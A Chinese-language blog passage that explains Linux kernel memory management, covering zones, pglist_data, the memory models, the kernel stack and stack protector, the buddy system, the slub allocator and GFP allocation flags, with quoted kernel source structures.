  • ZONE_DMA:用于 ISA 设备的 DMA 操作,范围是 0~16MB ,只适用于Intel x86 架构,ARM 架构没有这个内存管理区。
  • ZONE_DMA32:用于最低 4GB 的内存访问的设备,如只支持 32 位的 DMA 设备。
  • ZONE_NORMAL:4GB 以后的物理内存,用于线性映射物理内存。若系统内存小于 4GB,则没有这个内存管理区。
  • ZONE_HIGHMEM:用于管理高端内存,这些高端内存是不能线性映射到内核地址空间的。注意,在 64 位Linux操作系统中没有这个内存管理区。

pglist_data

pglist_data 数据结构用来描述一个内存节点的所有资源。在 UMA 架构中,只有一个内存节点,即系统有一个全局的变量 contig_page_data 来描述这个内存节点。在 NUMA 架构中,整个系统的内存由一个 pglist_data * 的指针数组 node_data[] 来管理,在系统初始化时通过枚举 BIOS 固件(ACPI)来完成。pglist_data 结构定义于 /include/linux/mmzone.h 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
typedef struct pglist_data {
/*
* 字段包含该节点所拥有的 zones。 并非所有的 zone 都已被填充,但这是一个满的列表。
* 它被该节点的 node_zonelists 以及其他节点的 node_zonelists 所引用.
*/
struct zone node_zones[MAX_NR_ZONES];
/* 用于 buddy system 分配内存。 */
struct zonelist node_zonelists[MAX_ZONELISTS];
/* 内存区域数量。 */
int nr_zones;
#ifdef CONFIG_FLAT_NODE_MEM_MAP /* means !SPARSEMEM */
/* 页描述符,除了稀疏内存模型外都使用。 */
struct page *node_mem_map;
#ifdef CONFIG_PAGE_EXTENSION
/* 页的扩展属性。 */
struct page_ext *node_page_ext;
#endif
#endif
#if defined(CONFIG_MEMORY_HOTPLUG) || defined(CONFIG_DEFERRED_STRUCT_PAGE_INIT)
/*
* Must be held any time you expect node_start_pfn,
* node_present_pages, node_spanned_pages or nr_zones to stay constant.
*
* pgdat_resize_lock() and pgdat_resize_unlock() are provided to
* manipulate node_size_lock without checking for CONFIG_MEMORY_HOTPLUG
* or CONFIG_DEFERRED_STRUCT_PAGE_INIT.
*
* Nests above zone->lock and zone->span_seqlock
*/
spinlock_t node_size_lock;
#endif
/* 起始物理页号。 */
unsigned long node_start_pfn;
/* 物理页总数(不包括空洞)。 */
unsigned long node_present_pages; /* total number of physical pages */
/* 物理页总数(包括空洞)。 */
unsigned long node_spanned_pages; /* total size of physical page range, including holes */
/* 节点标识符。 */
int node_id;
wait_queue_head_t kswapd_wait;
wait_queue_head_t pfmemalloc_wait;
struct task_struct *kswapd; /* Protected by
mem_hotplug_begin/end() */
int kswapd_order;
enum zone_type kswapd_classzone_idx;

int kswapd_failures; /* Number of 'reclaimed == 0' runs */

#ifdef CONFIG_COMPACTION
int kcompactd_max_order;
enum zone_type kcompactd_classzone_idx;
wait_queue_head_t kcompactd_wait;
struct task_struct *kcompactd;
#endif
/*
* This is a per-node reserve of pages that are not available
* to userspace allocations.
*/
unsigned long totalreserve_pages;

#ifdef CONFIG_NUMA
/*
* zone reclaim becomes active if more unmapped pages exist.
*/
unsigned long min_unmapped_pages;
unsigned long min_slab_pages;
#endif /* CONFIG_NUMA */

/* Write-intensive fields used by page reclaim */
ZONE_PADDING(_pad1_)
spinlock_t lru_lock;

#ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT
/*
* If memory initialisation on large machines is deferred then this
* is the first PFN that needs to be initialised.
*/
unsigned long first_deferred_pfn;
#endif /* CONFIG_DEFERRED_STRUCT_PAGE_INIT */

#ifdef CONFIG_TRANSPARENT_HUGEPAGE
spinlock_t split_queue_lock;
struct list_head split_queue;
unsigned long split_queue_len;
#endif

/* Fields commonly accessed by the page reclaim scanner */
struct lruvec lruvec;

unsigned long flags;

ZONE_PADDING(_pad2_)

/* Per-node vmstats */
struct per_cpu_nodestat __percpu *per_cpu_nodestats;
atomic_long_t vm_stat[NR_VM_NODE_STAT_ITEMS];
} pg_data_t;

内存架构

UMA

UMA(Uniform Memory Access)架构指的是内存有统一的结构并且可以统一寻址。又名 Symmetrical Multi-Processing,简称SMP,即对称多处理技术,SMP 对称多处理系统内有许多紧耦合多处理器,在这样的系统中,所有的CPU共享全部资源,如总线,内存和I/O系统等,操作系统或管理数据库的复本只有一个,这种系统有一个最大的特点就是共享所有资源。多个CPU之间没有区别,平等地访问内存、外设、一个操作系统。操作系统管理着一个队列,每个处理器依次处理队列中的进程。如果两个处理器同时请求访问一个资源(例如同一段内存地址),由硬件、软件的锁机制去解决资源争用问题。

uma

NUMA

NUMA(Non-Uniform Memory Access)架构指的是系统中有多个节点和多个簇,CPU访问本地内存节点的速度最快,访问远端的内存节点的速度要慢一些。

numa

内存模型

参考链接

Linux 提供了三种内存模型,分别是FLATMEM、DISCONTIGMEM、SPARSEMEM。定义于 include/asm-generic/memory_model.h 中。Linux当前默认使用SPARSEMEM模型。

FLATMEM

平滑内存模型。物理内存地址连续,通过简单的线性映射将物理内存页与一个数组 mem_map 对应起来。如下图的模型所示:

flatmem

从图中可以看出,使用FLATMEM的模型非常高效和简单,直接将物理页通过线性映射与mem_map对应起来。但这种模型有个致命的问题,就是在存在大量空洞内存的场景下,mem_map数组可能会很大,造成内存浪费。

DISCONTIGMEM

为了解决不连续内存(NUMA架构)造成的内存浪费问题,Linux在1999年引入了一种新的内存模型,这就是DISCONTIGMEM。其是通过编译的时候设置CONFIG_DISCONTIGMEM配置项来开启的。针对FLATMEM模型在不连续内存带来的浪费,DISCONTIGMEM的解决思路也挺简单的,就是每个不连续的node都维护一个mem_map,而不是使用一个全局的mem_map,这样就避免mem_map有大量的空洞地址映射。具体模型参考下图:

DISCONTIGMEM

对于每一段连续的物理内存,都有一个 pglist_data 结构体进行对应,其成员 node_mem_map 为一个 struct page 指针,指向一个 page 结构体数组,由该结构体对应到该段连续物理内存。有一个全局变量 node_data 为一个 pglist_data 数组,其中存放着指向每一个 pglist_data ,该数组的大小为 MAX_NUMNODES

SPARSEMEM

DISCONTIGMEM模型同样存在不小的弊端:紧凑型线性映射和不支持内存热拔插。DISCONTIGMEM模型本质是一个node上的FLATMEM,随着node的增加或者内存热拔插长场景的出现,同一个node内,也可能出现大量不连续内存,导致DISCONTIGMEM模型开销越来越大。这时候,一个全新的稀松内存模型(sparse memory model)被引入到内核中。下面是其模型图:

SPARSEMEM

在一个 mem_section 结构体中存在一个 section_mem_map 成员指向一个 struct page 数组对应一段连续的物理内存,即将内存按照 section 为单位进行分段。存在一个全局指针数组 mem_section (与结构体同名)存放所有的 mem_section 指针,指向理论上支持的内存空间,每个 section 对应的物理内存不一定存在,若不存在则此时该 section 的指针为 NULL 。

SPARSEMEM 数据结构

mem_section 结构体定义于 /include/linux/mmzone.h 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct mem_section {
/*
* This is, logically, a pointer to an array of struct
* pages. However, it is stored with some other magic.
* (see sparse.c::sparse_init_one_section())
*
* Additionally during early boot we encode node id of
* the location of the section here to guide allocation.
* (see sparse.c::memory_present())
*
* Making it a UL at least makes someone do a cast
* before using it wrong.
*/
unsigned long section_mem_map;

/* See declaration of similar field in struct zone */
unsigned long *pageblock_flags;
#ifdef CONFIG_PAGE_EXTENSION
/*
* If SPARSEMEM, pgdat doesn't have page_ext pointer. We use
* section. (see page_ext.h about this.)
*/
struct page_ext *page_ext;
unsigned long pad;
#endif
/*
* WARNING: mem_section must be a power-of-2 in size for the
* calculation and use of SECTION_ROOT_MASK to make sense.
*/
};

mem_section 变量定义于 /mm/sparse.c 中,如下:

1
2
3
4
5
6
#ifdef CONFIG_SPARSEMEM_EXTREME
struct mem_section **mem_section;
#else
struct mem_section mem_section[NR_SECTION_ROOTS][SECTIONS_PER_ROOT]
____cacheline_internodealigned_in_smp;
#endif

若未开启 CONFIG_SPARSEMEM_EXTREME 编译选项则 mem_section 为一个常规的二维数组,否则为一个二级指针,其所指向空间内存动态分配。

mem_section

kernel 中提供了两个用以在 PFN(Page Frame Numer) 与 page 结构体之间进行转换的宏,定义于 /include/asm-generic/memory_model.h 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
static inline struct mem_section *__nr_to_section(unsigned long nr)
{
#ifdef CONFIG_SPARSEMEM_EXTREME
if (!mem_section)
return NULL;
#endif
if (!mem_section[SECTION_NR_TO_ROOT(nr)])
return NULL;
return &mem_section[SECTION_NR_TO_ROOT(nr)][nr & SECTION_ROOT_MASK];
}

static inline unsigned long pfn_to_section_nr(unsigned long pfn)
{
return pfn >> PFN_SECTION_SHIFT;
}

static inline unsigned long page_to_section(const struct page *page)
{
return (page->flags >> SECTIONS_PGSHIFT) & SECTIONS_MASK;
}

static inline struct mem_section *__pfn_to_section(unsigned long pfn)
{
return __nr_to_section(pfn_to_section_nr(pfn));
}

static inline struct page *__section_mem_map_addr(struct mem_section *section)
{
unsigned long map = section->section_mem_map;
map &= SECTION_MAP_MASK;
return (struct page *)map;
}

#elif defined(CONFIG_SPARSEMEM)
/*
* Note: section's mem_map is encoded to reflect its start_pfn.
* section[i].section_mem_map == mem_map's address - start_pfn;
*/
#define __page_to_pfn(pg) \
({ const struct page *__pg = (pg); \
int __sec = page_to_section(__pg); \
(unsigned long)(__pg - __section_mem_map_addr(__nr_to_section(__sec))); \
})

#define __pfn_to_page(pfn) \
({ unsigned long __pfn = (pfn); \
struct mem_section *__sec = __pfn_to_section(__pfn); \
__section_mem_map_addr(__sec) + __pfn; \
})
#endif /* CONFIG_FLATMEM/DISCONTIGMEM/SPARSEMEM */

因此 pfnpage 的转换关系如下图所示:

pfn

基于Sparse Memory 内存模型上引入了 vmemmap 的概念,是目前 Linux 最常用的内存模型之一。在开启了 vmemmap 之后,所有的 mem_section 中的 page 都抽象到一个虚拟数组 vmemmap 中,这样在进行 struct page *pfn 转换时,直接使用 vmemmap 数组即可。

vmemmap

内核栈

可以先来了解一下内核空间地址布局,详细可以参考这两个链接 firstsecond,内核栈可以参考 third

虽然x86_64的物理地址范围为64bit,但是因为地址空间太大目前不可能完全用完,当前支持48bit57bit两种虚拟地址模式,也就是四级页表和五级页表,内核常用的还是四级页表。

x86-64-kernel-layout

x86-64 的内核栈

x86_64页大小(PAGE_SIZE)是4K。与所有其他体系结构一样,x86_64给每个存活的线程都分配一个内核栈。这些线程栈都是THREAD_SIZE (2*PAGE_SIZE)大的。这些堆栈包含有用的数据,只要线程活着或是一个僵尸线程。当线程在用户空间时,除了底部的thread_info结构,内核栈为空。

thread_info && task_struct

1
2
3
4
5
6
7
8
9
// arch/x86/include/asm/thread_info.h
struct thread_info {
unsigned long flags; /* low level flags */
unsigned long syscall_work; /* SYSCALL_WORK_ flags */
u32 status; /* thread synchronous flags */
#ifdef CONFIG_SMP
u32 cpu; /* current CPU */
#endif
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// linux kernel 6.0
struct task_struct {
#ifdef CONFIG_THREAD_INFO_IN_TASK
/*
* For reasons of header soup (see current_thread_info()), this
* must be the first element of task_struct.
*/
struct thread_info thread_info;
#endif
unsigned int __state;

#ifdef CONFIG_PREEMPT_RT
/* saved state for "spinlock sleepers" */
unsigned int saved_state;
#endif

/*
* This begins the randomizable portion of task_struct. Only
* scheduling-critical items should be added above here.
*/
randomized_struct_fields_start

void *stack;
refcount_t usage;
/* Per task flags (PF_*), defined further below: */
unsigned int flags;
unsigned int ptrace;
[...]
}

这是 task_struct 结构体的完整代码:task_struct

thread_info 结构存储在内核栈中,这种方式是最经典的。因为 task_struct 结构从1.0到现在5.0内核此结构一直在增大。如果将此结构放在内核栈中则很浪费内核栈的空间,thread_info结构中有一个task_struct 的指针避免了内核栈空间过大。


1
2
3
4
5
6
union thread_union {
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];
};

#define THREAD_SIZE (2*PAGE_SIZE)

kernel_stack

内核定义了一个thread_union的联合体,联合体的作用就是thread_infostack共用一块内存区域。而THREAD_SIZE就是内核栈的大小,x86-64定义THREAD_SIZE的大小为8K

内核栈保护

STACK PROTECTOR

类似于用户态程序的 canary,通常又被称作是 stack cookie,用以检测是否发生内核堆栈溢出,若是发生内核堆栈溢出则会产生 kernel panic

  • 开启: 在编译内核时,我们可以设置 CONFIG_CC_STACKPROTECTOR 选项,来开启该保护。
  • 关闭: 我们需要重新编译内核,并关闭编译选项才可以关闭 Canary 保护。

内核中的canary的值通常取自gs段寄存器某个固定偏移处的值,可以直接绕过。

内核堆

概述

Linux kernel 将内存分为 页→区→节点 三级结构,主要有两个内存管理器—— buddy systemslab allocator,前者负责以内存页为粒度管理所有可用的物理内存,后者则向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。

页→区→节点三级结构

这是一张十分经典的 Overview ,自顶向下是

  • (page,对应结构体 page)
  • (zone,对应结构体 zone,图上展示了三种类型的 zone)
  • 节点(node,对应结构体 pgdata_list)

page-zone-node

页(page)

Linux kernel 中使用 page 结构体来表示一个物理页框,每个物理页框都有着一个对应的 page 结构体

page_struct

区(zone)

在 Linux 下将一个节点内不同用途的内存区域划分为不同的 区(zone),对应结构体 struct zone

zone_struct

节点(node)

zone 再向上一层便是节点——Linux 将内存控制器(memory controller)作为节点划分的依据,对于 UMA 架构而言只有一个节点,而对于 NUMA 架构而言通常有多个节点,对于同一个内存控制器下的 CPU 而言其对应的节点称之为本地内存,不同处理器之间通过总线进行进一步的连接。如下图所示,一个 MC 对应一个节点。

node_numa

buddy system

buddy system 是 Linux kernel 中的一个较为底层的内存管理系统,以内存页为粒度管理着所有的物理内存,其存在于 这一级别,对当前区所对应拥有的所有物理页框进行管理.在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面:

1
2
3
4
5
struct zone {
//...
struct free_area free_area[MAX_ORDER];
//...
}

其中的 MAX_ORDER 为一个常量,值为 11。在 buddy system 中按照空闲页面的连续大小进行分阶管理,这里的 order 的实际含义为连续的空闲页面的大小,不过单位不是页面数,而是,即对于每个下标而言,其中所存储的页面大小为:2^oeder。

在 free_area 中存放的页面通过自身的相应字段连接成双向链表结构,由此我们得到这样一张 Overview:

zone_struct

  • 分配:
    • 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
    • 若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
  • 释放:
    • 将对应的连续内存页释放到对应的链表上。
    • 检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。

slub allocator

slab allocator 则是更为细粒度的内存管理器,其通过向 buddy system 请求单张或多张连续内存页后再分割成同等大小的对象(object)返还给上层调用者来实现更为细粒度的内存管理。

slab allocator 一共有三种版本:

  • slab(最初的版本,机制比较复杂,效率不高)
  • slob(用于嵌入式等场景的极为简化版本)
  • slub(优化后的版本,现在的通用版本

slub 基本结构

slub 版本的 allocator 为现在绝大多数 Linux kernel 所装配的版本,因此本篇文章主要叙述的也是 slub allocator,其基本结构如下图所示:

slub_allocator

我们将 slub allocator 每次向 buddy system 请求得来的单张 / 多张内存页称之为一个 slub,其被分割为多个同等大小对象(object),每个 object 作为一个被分配实体,在 slub 的第一张内存页对应的 page 结构体上的 freelist 成员指向该张内存页上的第一个空闲对象,一个 slub 上的所有空闲对象组成一个以 NULL 结尾的单向链表。

一个 object 可以理解为用户态 glibc 中的 chunk,不过 object 并不像 chunk 那样需要有一个 header,因为 page 结构体与物理内存间存在线性对应关系,我们可以直接通过 object 地址找到其对应的 page 结构体。

kmem_cache 为一个基本的 allocator 组件,其用于分配某个特定大小(某种特定用途)的对象,所有的 kmem_cache 构成一个双向链表,并存在两个对应的结构体数组 kmalloc_cacheskmalloc_dma_caches

一个 kmem_cache 主要由两个模块组成:

  • kmem_cache_cpu:这是一个 percpu 变量(即每个核心上都独立保留有一个副本,原理是以 gs 寄存器作为 percpu 段的基址进行寻址),用以表示当前核心正在使用的 slub,因此当前 CPU 在从 kmem_cache_cpu 上取 object 时不需要加锁,从而极大地提高了性能。
  • kmem_cache_node:可以理解为当前 kmem_cache 的 slub 集散中心,其中存放着两个 slub 链表:
    • partial:该 slub 上存在着一定数量的空闲 object,但并非全部空闲。
    • full:该 slub 上的所有 object 都被分配出去了。

slub 分配和释放

  • 分配:
    • 首先从 kmem_cache_cpu 上取对象,若有则直接返回。
    • kmem_cache_cpu 上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu 上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上,然后再取出空闲对象返回。
    • kmem_cache_node 的 partial 链表也空了,那就向 buddy system 请求分配新的内存页,划分为多个 object 之后再给到 kmem_cache_cpu,取空闲对象返回上层调用。
  • 释放:
    • 若被释放 object 属于 kmem_cache_cpu 的 slub,直接使用头插法插入当前 CPU slub 的 freelist。
    • 若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub,直接使用头插法插入对应 slub 的 freelist。
    • 若被释放 object 为 full slub,则其会成为对应 slub 的 freelist 头节点,且该 slub 会被放置到 partial 链表

buddy system

相关数据结构

以 Discontiguous Memory 模型为例,buddy system 相关的数据结构关系如下图所示:

buddy_sys_sky

node_data

node_data 是一个 pg_data_t 类型的结构体数组,其中每个元素代表一个内存节点。

1
pg_data_t node_data[MAX_NUMNODES];

其中 pg_data_t 中与 buddy system 相关的成员如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct zoneref {
struct zone *zone; /* Pointer to actual zone */
int zone_idx; /* zone_idx(zoneref->zone) */
};

struct zonelist {
struct zoneref _zonerefs[MAX_ZONES_PER_ZONELIST + 1];
};

typedef struct pglist_data {
struct zone node_zones[MAX_NR_ZONES];
struct zonelist node_zonelists[MAX_ZONELISTS];
int nr_zones;
...
} pg_data_t;
  • node_zones :该节点所拥有的 zones。 并非所有的 zone 都已被填充,但这是一个满的列表。
  • node_zonelists:记录 zone 的列表。通常一个内存节点包含两个 zonelist,一个是 ZONELIST_FALLBACK ,表示本地的;另外一个是 ZONELIST_NOFALLBACK ,表示远端的。
  • nr_zonesnode_zones 中有效 zone 的数量。

node_data

zone

1
2
3
4
5
6
7
8
9
10
struct free_area {
struct list_head free_list[MIGRATE_TYPES];
unsigned long nr_free;
};

struct zone {
...
struct free_area free_area[MAX_ORDER];
....
} ____cacheline_internodealigned_in_smp;

每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面。free_area 中第 i 个成员管理每块为连续 2^i 个内存页的内存。因为 MAX_ORDER 为11, buddy system 能分配的最大内存为 4MB 。

free_area 中并非只有 MAX_ORDER 个双向链表分别代表着不同的“迁移类型”(migrate type),这是由于页面迁移机制的存在。
页面迁移主要用以解决内核空间中的碎片问题,在长期的运行之后内存当中空闲页面的分布可能是零散的,这便导致了内核有可能无法映射到足够大的连续内存,因此需要进行页面迁移。

page_pivote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
enum migratetype {
MIGRATE_UNMOVABLE,
MIGRATE_MOVABLE,
MIGRATE_RECLAIMABLE,
MIGRATE_PCPTYPES, /* the number of types on the pcp lists */
MIGRATE_HIGHATOMIC = MIGRATE_PCPTYPES,
#ifdef CONFIG_CMA
/*
* MIGRATE_CMA migration type is designed to mimic the way
* ZONE_MOVABLE works. Only movable pages can be allocated
* from MIGRATE_CMA pageblocks and page allocator never
* implicitly change migration type of MIGRATE_CMA pageblock.
*
* The way to use it is to change migratetype of a range of
* pageblocks to MIGRATE_CMA which can be done by
* __free_pageblock_cma() function. What is important though
* is that a range of pageblocks must be aligned to
* MAX_ORDER_NR_PAGES should biggest page be bigger then
* a single pageblock.
*/
MIGRATE_CMA,
#endif
#ifdef CONFIG_MEMORY_ISOLATION
MIGRATE_ISOLATE, /* can't allocate from here */
#endif
MIGRATE_TYPES
};

但并非所有的页面都是能够随意迁移的,因此我们在 buddy system 当中还需要将页面按照迁移类型进行分类。迁移类型由一个枚举类型定义,定义于 /include/linux/mmzone.h 中,如下:

  • MIGRATE_UNMOVABLE:这类型页面在内存当中有着固定的位置,不能移动。
  • MIGRATE_MOVABLE:这类页面可以随意移动,例如用户空间的页面,我们只需要复制数据后改变页表映射即可。
  • MIGRATE_RECLAIMABLE:这类页面不能直接移动,但是可以删除,例如映射自文件的页。
  • MIGRATE_PCPTYPESper_cpu_pageset,即每 CPU 页帧缓存,其迁移仅限于同一节点内。
  • MIGRATE_CMA:Contiguous Memory Allocator,即连续的物理内存。
  • MIGRATE_ISOLATE:不能从该链表分配页面,该链表用于跨 NUMA 节点进行页面移动,将页面移动到使用该页面最为频繁的 CPU 所处节点。
  • MIGRATE_TYPES:表示迁移类型的数目,并不存在这一链表。

nr_free 字段记录了在当前 free_area 中的空闲页面块的数量,对于 free_area[0] 以外的 free_area 而言其单位并非是单个页框,而是以内存块为单位。

free_area

page

我们不难看出:free_areafree_list 字段便是用以存放指向空闲页面的指针,其通过 page 结构体的 lru 字段将 page 结构体连接成双向链表。

1
2
3
4
5
6
7
8
9
10
struct page {
...
union {
struct { /* Page cache and anonymous pages */
/**
* @lru: Pageout list, eg. active_list protected by
* zone_lru_lock. Sometimes used as a generic list
* by the page owner.
*/
struct list_head lru;

page 结构体中的 lru 这一字段的类型为 struct list_head,这是内核编程中通用的双向链表结构,free_listlru 链表都使用该字段 将页结构体组织为双向链表,即一个页是不可能同时出现在 lru 链表与 buddy system 中的。

alloc_context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct zoneref {
struct zone *zone; /* Pointer to actual zone */
int zone_idx; /* zone_idx(zoneref->zone) */
};

struct zonelist {
struct zoneref _zonerefs[MAX_ZONES_PER_ZONELIST + 1];
};

struct alloc_context {
struct zonelist *zonelist;
nodemask_t *nodemask;
struct zoneref *preferred_zoneref;
int migratetype;
enum zone_type high_zoneidx;
bool spread_dirty_pages;
};

alloc_context 数据结构是一个内部临时使用的数据结构。

  • zonelist 指向每一个内存节点中对应的 zonelist
  • nodemask 表示内存节点的掩码;
  • preferred_zoneref 表示首选 zonezoneref;
  • migratetype 表示迁移类型;
  • high_zoneidx 分配掩码计算 zonezoneidx,表示这个分配掩码允许内存分配的最高 zone
  • spread_dirty_pages 用于指定是否传播脏页。
分配掩码

分配掩码是描述页面分配方法的标志,它影响着页面分配的整个流程。因为 Linux 内核是一个通用的操作系统,所以页面分配器被设计成一个复杂的系统。它既要高效,又要兼顾很多种情况,特别是在内存紧张的情况下的内存分配。gfp_mask 其实被定义成一个 unsigned 类型的变量。

1
typedef unsigned __bitwise gfp_t;
  • 内存管理区修饰符(zone modifier)。
  • 移动修饰符(mobility and placement modifier)。
  • 水位修饰符(watermark modifier)。
  • 页面回收修饰符(page reclaim modifier)。
  • 行为修饰符(action modifier)。

内存管理区修饰符

内存管理区修饰符主要用于表示应当从哪些内存管理区中来分配物理内存。内存管理区修饰符使用gfp_mask 的低 4 位来表示。

  • ___GFP_DMA:从 ZONE_DMA 中分配内存
  • ___GFP_DMA32:从 ZONE_DMA32 中分配内存
  • ___GFP _HIGHMEM:优先从 ZONE_HIGHMEM 中分配内存
  • ___GFP_MOVABLE:页面可以被迁移或者回收,如用于内存规整机制

移动修饰符

移动修饰符主要用于指示分配出来的页面具有的迁移属性。在 Linux2.6.24 内核中,为了解决外碎片化的问题,引入了迁移类型,因此在分配内存时需要指定所分配的页面具有哪些迁移属性。

  • ___GFP_RECLAIMABLE:在 slab 分配器中指定了 SLAB_RECLAIM_ACCOUNT 标志位,表示 slab 分配器中使用的页面可以通过收割机来回收
  • ___GFP_HARDWALL:使能 cpusect 内存分配策略
  • ___GFP_THISNODE:从指定的内存节点中分配内存,并且没有回退机制
  • ___GFP_ACCOUNT:分配过程会被 kmemcg 记录

水位修饰符

水位修饰符用于控制是否可以访问系统预留的内存。所谓系统预留内存指的是最低警戒水位以下的内存,一般优先级的分配请求是不能访问它们的,只有高优先级的分配请求才能访问,如 ___GFP_HIGH___GFP_ATOMIC 等。

  • ___GFP_HIGH:表示分配内存具有高优先级,并且这个分配请求是很有必要的,分配器可以使用系统预留的内存(即最低警戒水位线下的预留内存)
  • ___GFP_ATOMIC:表示分配内存的过程不能执行页面回收或者睡眠动作,并且具有很高的优先级,可以访问系统预留的内存。常见的一个场景是在中断上下文中分配内存
  • ___GFP_MEMALLOC:分配过程中允许访问所有的内存,包括系统预留的内存。分配内存进程通常要保证在分配内存过程中很快会有内存被释放,如进程退出或者页面回收
  • ___GFP_NOMEMALLOC:分配过程不允许访问系统预留的内存

页面回收修饰符

  • ___GFP_IO:允许开启I/O传输
  • ___GFP_FS:允许调用底层的文件系统。这个标志清零通常是为了避免死锁的发生,如果相应的文件系统操作路径上已经持有了锁,分配内存过程又递归地调用这个文件系统的相应操作路径,可能会产生死锁
  • ___GFP_DIRECT_RECLAIM:分配内存的过程中允许使用页面直接回收机制
  • ___GFP_KSWAPD_RECLAIM:表示当到达内存管理区的低水位时会唤醒 kswapd 内核线程,以异步地回收内存,直到内存管理区恢复到了高水位为止
  • ___GFP_RECLAIM:用于允许或者禁止直接页面回收和 kswapd 内核线程
  • ___GFP_REPEAT:当分配失败时会继续尝试
  • ___GFP_NOFAIL:当分配失败时会无限地尝试下去,直到分配成功为止。当分配者希望分配内存不失败时,应该使用这个标志位,而不是自己写一个 while 循环来不断地调用页面分配接口函数
  • ___GFP_NORETRY:当使用了直接页面回收和内存规整等机制还无法分配内存时,最好不要重复尝试分配了,直接返回 NULL

行为修饰符

  • ___GFP_COLD:分配的内存不会马上被使用。通常会返回一个空的高速缓存页面
  • ___GFP_NOWARN:关闭分配过程中的一些错误报告
  • ___GFP_ZERO:返回一个全部填充为 0 的页面
  • ___GFP_NOTRACK:不被kmemcheck 机制跟踪
  • ___GFP_OTHER NODE:在远端的一个内存节点上分配。通常在 khugepaged 内核线程中使用

类型标志

前文列出了 5 大类修饰符的标志,对于内核开发者或者驱动开发者来说,要正确使用这些标志是一件很困难的事情,因此定义了一些常用的标志的组合—类型标志(type flag)

  • GFP_KERNEL(__GFP_RECLAIM | __GFP_IO | __GFP_FS):内核分配内存常用的标志之一。它可能会被阻塞,即分配过程中可能会睡眠
  • GFP_ATOMIC(__GFP_HIGH|__GFP_ATOMIC|__GFP_KSWAPD_RECLAIM):调用者不能睡眠并且保证分配会成功。它可以访问系统预留的内存
  • GFP_NOWAIT(__GFP_KSWAPD_RECLAIM):分配中不允许睡眠等待
  • GFP_NOFS(__GFP_RECLAIM | __GFP_IO):不会访问任何的文件系统的接口和操作
  • GFP_NOIO(__GFP_RECLAIM):不需要启动任何的 I/O 操作。如使用直接回收机制丢弃干净的页面或者为 slab 分配的页面
  • GFP_USER(__GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_HARDWALL):通常用户空间的进程用来分配内存,这些内存可以被内核或者硬件使用。常用的、一个场景是硬件使用的 DMA 缓冲器要映射到用户空间,如显卡的缓冲器
  • GFP_DMA/GFP_DMA32(__GFP_DMA/__GFP_DMA32):使用 ZONE_DMA 或者 ZONE_DMA32 来分配内存
  • GFP_HIGHUSER(GFP_USER | __GFP_HIGHMEM):用户空间进程用来分配内存,优先使用 ZONE_HIGHMEM ,这些内存可以映射到用户空间,内核空间不会直接访问这些内存。另外,这些内存不能迁移
  • GFP_HIGHUSER_MOVABLE(GFP_HIGHUSER | __GFP_MOVABLE):类似于 GFP_HIGHUSER ,但是页面可以迁移
  • GFP_TRANSHUGE/GFP_TRANSHUGE_LIGHT((GFP_TRANSHUGE_LIGHT | __GFP_DIRECT_RECLAIM)/((GFP_HIGHUSER_MOVABLE | __GFP_COMP | __GFP_NOMEMALLOC | __GFP_NOWARN) & ~__GFP_RECLAIM)):通常用于透明页面分配

这些符号的定义保存在源码/source/include/linux/gfp.h 里面。

相关函数

分配物理页面

  • alloc_pages

    1
    2
    static inline struct page *alloc_pages(gfp_t gfp_mask, unsigned int order);
    1

    alloc_pages() 函数用来分配2^order个连续的物理页面,返回值是第一个物理页面的 page 数据结构。第一个参数是 gfp_mask;第二个参数是 order ,请求的 order 需要小于 MAX_ORDERMAX_ORDER 通常默认是 11 。

  • __get_free_pages

    1
    2
    unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order);
    1

    _get_free_pages() 函数返回的是所分配内存的内核空间虚拟地址。如果所分配内存是线性映射的物理内存,则直接返回线性映射区域的内核空间虚拟地址;_get_free _pages() 函数不会使用高端内存,如果一定需要使用高端内存,最佳的办法是使用 alloc_pages() 函数以及 kmap() 函数。注意,在 64 位处理器的 Linux 内核中没有高端内存这个概念,它只实现在 32 位处理器的Linux内核中。

  • 分配一个物理页面
    如果需要分配一个物理页面,可以使用如下两个封装好的接口函数,它们最后仍调用 alloc_pages() ,只是 order 的值为 0 。

    1
    2
    3
    4
    5
    #define alloc_page(gfp_mask) alloc_pages(gfp_mask, 0)

    #define __get_free_page(gfp_mask) \
    __get_free_pages((gfp_mask), 0)
    1234

    如果需要返回一个全填充为 0 的页面,可以使用如下接口函数。

    1
    2
    unsigned long get_zeroed_page(gfp_t gfp_mask)
    1

释放页面

1
2
3
4
5
void __free_pages(struct page *page, unsigned int order);
void free_pages(unsigned long addr, unsigned int order);
#define __free_page(page) __free_pages((page), 0)
